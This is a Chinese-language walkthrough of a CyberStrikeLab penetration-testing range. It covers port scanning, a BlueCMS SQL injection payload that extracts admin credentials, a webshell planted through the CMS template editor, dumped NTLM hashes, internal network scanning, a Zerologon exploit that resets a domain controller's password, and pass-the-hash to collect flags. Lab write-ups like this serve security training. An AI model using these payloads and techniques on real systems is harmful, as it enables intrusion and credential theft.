Lab4

https://www.cyberstrikelab.com/#/scene/detail/23

Recon

对目标主机进行扫描

➜  Lab4 nmap -sT -min-rate 5000 -p- 192.168.10.10
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-14 10:31 CST
Nmap scan report for 192.168.10.10
Host is up (0.051s latency).
Not shown: 65520 closed tcp ports (conn-refused)
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3306/tcp  open  mysql
3389/tcp  open  ms-wbt-server
5040/tcp  open  unknown
5820/tcp  open  autopassdaemon
7680/tcp  open  pando-pub
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown

➜  Lab4 nmap -sT -A -p $(cat port | awk -F '/' '{print $1}' | paste -sd ',') 192.168.10.10
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-14 10:32 CST
Nmap scan report for 192.168.10.10                                                              
Host is up (0.055s latency).                                                                    
                                                                                                
PORT      STATE SERVICE       VERSION                                                                                                                                                           
135/tcp   open  msrpc         Microsoft Windows RPC  
445/tcp   open  microsoft-ds?
3306/tcp  open  mysql         MySQL (unauthorized)       
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-08-13T18:36:07+00:00; -7h59m59s from scanner time.
| ssl-cert: Subject: commonName=DESKTOP-JFB57A8
| Not valid before: 2025-08-12T18:25:20
|_Not valid after:  2026-02-11T18:25:20                                                         
| rdp-ntlm-info:      
|   Target_Name: DESKTOP-JFB57A8
|   NetBIOS_Domain_Name: DESKTOP-JFB57A8      
|   NetBIOS_Computer_Name: DESKTOP-JFB57A8
|   DNS_Domain_Name: DESKTOP-JFB57A8
|   DNS_Computer_Name: DESKTOP-JFB57A8
|   Product_Version: 10.0.18362
|_  System_Time: 2025-08-13T18:35:38+00:00
5040/tcp  open  unknown
5820/tcp  open  http          Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02)
| http-cookie-flags:      
|   /: 
|     PHPSESSID:                                                                                                                                                                                
|_      httponly flag not set                                                                   
|_http-server-header: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
|_http-title: \xD1\xDD\xCA\xBE\xCD\xF8\xD5\xBE - Powered by BlueCMS
| http-robots.txt: 9 disallowed entries 
| /admin/ /api/ /data/ /include/ /install/ /templates/ 
|_/uc_client/ /user.php /comment.php
7680/tcp  open  pando-pub?
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows 10 1709 - 21H2 (97%), Microsoft Windows 10 (93%), Microsoft Windows Longhorn (93%), Microsoft Windows 10 1903 (92%), Microsoft Windows 10 21H1 (92%), M
icrosoft Windows 10 21H2 (92%), Microsoft Windows 10 1703 or Windows 11 21H2 (91%), Microsoft Windows 10 1803 (91%), Microsoft Windows 8 (91%), Microsoft Windows 10 Education Edition 1909 (90%
)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -7h59m59s, deviation: 0s, median: -8h00m00s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2025-08-13T18:35:40
|_  start_date: N/A

5820 是 Web服务

192.168.10.10

BlueCMS

搭建着的是 BlueCMS

在页脚中能找到是：Powered by BlueCMS v1.6

存在 SQL注入漏洞

https://www.cnblogs.com/Hi-blog/p/7990894.html#_label30

拿用户密码

ad_js.php?ad_id=1 union select 1,2,3,4,5,6,group_concat(admin_name,0x3a,pwd) from blue_admin

解出来密码是：admin123456

后台 GetShell

登录后台，在模版设置里面

利用链接：https://blog.csdn.net/weixin_72007549/article/details/127540398

在头部写上一句话木马，然后提交

蚁剑连接上

权限很高是 system权限

在根目录读到 flag

C:\> type flag.txt
go-flag{ovuRsBeMqji13Rrc}

这里用上 CS 了

信息收集

抓一下 HASH

beacon> hashdump
[*] Tasked beacon to dump hashes
[+] host called home, sent: 82541 bytes
[+] received password hashes:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
apache:1002:aad3b435b51404eeaad3b435b51404ee:0047605c0f2b9342a96ff4502f0f1a84:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:809f928153e9cdf27a043a18028a6efd:::
web:1001:aad3b435b51404eeaad3b435b51404ee:081dece85a94bf4a198aa49d8042347e:::

迁移到 MSF

查看网段信息

Interface 16
============
Name         : Realtek RTL8139C+ Fast Ethernet NIC #3
Hardware MAC : b0:5e:4f:ef:a4:d3
MTU          : 1500
IPv4 Address : 192.168.20.10
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::c8c0:3fc0:ab95:1f0a
IPv6 Netmask : ffff:ffff:ffff:ffff::

Interface 17
============
Name         : Realtek RTL8139C+ Fast Ethernet NIC #2
Hardware MAC : 10:98:36:73:90:72
MTU          : 1500
IPv4 Address : 192.168.10.10
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a898:1c84:d7f:2d59
IPv6 Netmask : ffff:ffff:ffff:ffff::

上传 Fscan扫描

C:\>fscan.exe -h 192.168.20.1-255 -nobr
fscan.exe -h 192.168.20.1-255 -nobr
┌──────────────────────────────────────────────┐
│    ___                              _        │
│   / _ \     ___  ___ _ __ __ _  ___| | __    │
│  / /_\/____/ __|/ __| __/ _` |/ __| |/ /    │
│ / /_\\_____\__ \ (__| | | (_| | (__|   <     │
│ \____/     |___/\___|_|  \__,_|\___|_|\_\    │
└──────────────────────────────────────────────┘
      Fscan Version: 2.0.0

[2025-08-14 03:25:46] [INFO] 暴力破解线程数: 1
[2025-08-14 03:25:46] [INFO] 开始信息扫描
[2025-08-14 03:25:46] [INFO] 生成IP范围: 192.168.20.1 - 192.168.20.255
[2025-08-14 03:25:46] [INFO] 最终有效主机数量: 255
[2025-08-14 03:25:46] [INFO] 开始主机扫描
[2025-08-14 03:25:46] [SUCCESS] 目标 192.168.20.10   存活 (ICMP)
[2025-08-14 03:25:46] [SUCCESS] 目标 192.168.20.30   存活 (ICMP)
[2025-08-14 03:25:46] [SUCCESS] 目标 192.168.20.20   存活 (ICMP)
[2025-08-14 03:25:49] [INFO] 存活主机数量: 3
[2025-08-14 03:25:49] [INFO] 有效端口数量: 233
[2025-08-14 03:25:49] [SUCCESS] 端口开放 192.168.20.30:88
[2025-08-14 03:25:49] [SUCCESS] 端口开放 192.168.20.20:135
[2025-08-14 03:25:49] [SUCCESS] 端口开放 192.168.20.30:135
[2025-08-14 03:25:49] [SUCCESS] 端口开放 192.168.20.10:135
[2025-08-14 03:25:51] [SUCCESS] 端口开放 192.168.20.30:139
[2025-08-14 03:25:51] [SUCCESS] 端口开放 192.168.20.10:445
[2025-08-14 03:25:51] [SUCCESS] 端口开放 192.168.20.20:445
[2025-08-14 03:25:51] [SUCCESS] 端口开放 192.168.20.20:139
[2025-08-14 03:25:51] [SUCCESS] 端口开放 192.168.20.30:445
[2025-08-14 03:25:51] [SUCCESS] 端口开放 192.168.20.30:389
[2025-08-14 03:25:51] [SUCCESS] 端口开放 192.168.20.10:139
[2025-08-14 03:25:53] [SUCCESS] 端口开放 192.168.20.10:3306
[2025-08-14 03:25:54] [SUCCESS] 服务识别 192.168.20.30:88 =>
[2025-08-14 03:25:55] [SUCCESS] 端口开放 192.168.20.20:7001
[2025-08-14 03:25:56] [SUCCESS] 服务识别 192.168.20.30:139 =>  Banner:[.]
[2025-08-14 03:25:56] [SUCCESS] 服务识别 192.168.20.10:445 =>
[2025-08-14 03:25:56] [SUCCESS] 服务识别 192.168.20.20:445 =>
[2025-08-14 03:25:56] [SUCCESS] 服务识别 192.168.20.20:139 =>  Banner:[.]
[2025-08-14 03:25:56] [SUCCESS] 服务识别 192.168.20.30:445 =>
[2025-08-14 03:25:57] [SUCCESS] 服务识别 192.168.20.10:139 =>  Banner:[.]
[2025-08-14 03:25:57] [SUCCESS] 端口开放 192.168.20.10:7680
[2025-08-14 03:26:02] [SUCCESS] 服务识别 192.168.20.30:389 =>
[2025-08-14 03:26:05] [SUCCESS] 服务识别 192.168.20.20:7001 => [http] 产品:Oracle WebLogic admin httpd
[2025-08-14 03:26:10] [SUCCESS] 服务识别 192.168.20.10:3306 =>  Banner:[H.j Host 'DESKTOP-JFB57A8' is not allowed to connect to this MySQL server]
[2025-08-14 03:26:52] [SUCCESS] 服务识别 192.168.20.10:7680 =>
[2025-08-14 03:26:54] [SUCCESS] 服务识别 192.168.20.20:135 =>
[2025-08-14 03:26:54] [SUCCESS] 服务识别 192.168.20.30:135 =>
[2025-08-14 03:26:54] [SUCCESS] 服务识别 192.168.20.10:135 =>
[2025-08-14 03:26:55] [INFO] 存活端口数量: 14
[2025-08-14 03:26:55] [INFO] 开始漏洞扫描
[2025-08-14 03:26:55] [INFO] 加载的插件: findnet, ldap, ms17010, mysql, netbios, smb, smb2, smbghost, webpoc, webtitle
[2025-08-14 03:26:55] [SUCCESS] NetInfo 扫描结果
目标主机: 192.168.20.10
主机名: DESKTOP-JFB57A8
发现的网络接口:
   IPv4地址:
      └─ 192.168.10.10
[2025-08-14 03:26:55] [SUCCESS] NetInfo 扫描结果
目标主机: 192.168.20.20
主机名: cyberweb
发现的网络接口:
   IPv4地址:
      └─ 192.168.20.20
[2025-08-14 03:26:55] [SUCCESS] NetBios 192.168.20.20   cyberweb.cyberstrikelab.com         Windows Server 2012 R2 Standard 9600
[2025-08-14 03:26:58] [SUCCESS] 网站标题 http://192.168.20.20:7001 状态码:404 长度:1164   标题:Error 404--Not Found
[2025-08-14 03:26:58] [SUCCESS] 发现指纹 目标: http://192.168.20.20:7001 指纹: [weblogic]

192.168.20.20 - 1

Weblogic

扫描出来 Weblogic

用工具扫描一下

➜  WeblogicScan git:(master) ✗ proxychains -q python WeblogicScan.py -u 192.168.20.20 -p 7001
/root/Desktop/Tools/WeblogicScan/WeblogicScan.py:6: SyntaxWarning: invalid escape sequence '\ '
  |  _ \ __ _| |__ | |__ (_) |_|  \/  | __ _ ___| | __

__        __   _     _             _        ____                  
\ \      / /__| |__ | | ___   __ _(_) ___  / ___|  ___ __ _ _ __  
 \ \ /\ / / _ \ '_ \| |/ _ \ / _` | |/ __| \___ \ / __/ _` | '_ \ 
  \ V  V /  __/ |_) | | (_) | (_| | | (__   ___) | (_| (_| | | | |
   \_/\_/ \___|_.__/|_|\___/ \__, |_|\___| |____/ \___\__,_|_| |_|
                             |___/ 
                             By Tide_RabbitMask | V 1.5 

Welcome To WeblogicScan !!!
Whoami：https://github.com/rabbitmask
[*] =========Task Start=========
[+] [192.168.20.20:7001] Weblogic Version Is 12.2.1.4.0
[+] [192.168.20.20:7001] Weblogic console address is exposed! The path is: http://192.168.20.20:7001/console/login/LoginForm.jsp
[-] [192.168.20.20:7001] Weblogic UDDI module default path does not exist!
[-] [192.168.20.20:7001] weblogic not detected CVE-2016-0638
[-] [192.168.20.20:7001] weblogic not detected CVE-2016-3510
[-] [192.168.20.20:7001] weblogic not detected CVE-2017-10271
[-] [192.168.20.20:7001] weblogic not detected CVE-2017-3248
[-] [192.168.20.20:7001] weblogic not detected CVE-2017-3506
[-] [192.168.20.20:7001] weblogic not detected CVE-2018-2628
[-] [192.168.20.20:7001] weblogic not detected CVE-2018-2893
[+] [192.168.20.20:7001] weblogic has a JAVA deserialization vulnerability:CVE-2018-2894
[-] [192.168.20.20:7001] weblogic not detected CVE-2019-2725
[-] [192.168.20.20:7001] weblogic not detected CVE-2019-2890
[*] =========Task E n d=========

没有账户，没法打

192.168.20.30

信息收集

这里先打 192.168.20.30

从上面扫描中能知道，这是 DC

先尝试枚举一波

➜  Tools proxychains nxc smb 192.168.20.30 -u anonymous -p ''
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  127.0.0.1:2131  ...  192.168.20.30:445  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:2131  ...  192.168.20.30:135  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:2131  ...  192.168.20.30:445  ...  OK
SMB         192.168.20.30   445    WIN-7NRTJO59O7N  [*] Windows 6.1 Build 7600 x64 (name:WIN-7NRTJO59O7N) (domain:cyberstrikelab.com) (signing:True) (SMBv1:False) 
[proxychains] Strict chain  ...  127.0.0.1:2131  ...  192.168.20.30:445  ...  OK
SMB         192.168.20.30   445    WIN-7NRTJO59O7N  [-] cyberstrikelab.com\anonymous: STATUS_LOGON_FAILURE

并没有枚举出来什么

Zerologon

这里再试试 zerologon

➜  CVE-2020-1472-tester git:(master) proxychains -q python zerologon_tester.py WIN-7NRTJO59O7N 192.168.20.30
Performing authentication attempts...
================================================================
Success! DC can be fully compromised by a Zerologon attack.

还真有，打 exp

➜  CVE-2020-1472-master proxychains -q python cve-2020-1472-exploit.py WIN-7NRTJO59O7N 192.168.20.30
Performing authentication attempts...
==================================================
Target vulnerable, changing account password to empty string

Result: 0

Exploit complete!

Dumphash

PTH 拿 flag3

192.168.20.20 - 2

从扫描结果看，192.168.20.20也是域内主机，也是直接 PTH

读 flag2

C:\Windows\system32> type C:\flag.txt
go-flag{yJzuQ09FXn0h7Em4}

Cyberstrikelab - Lab4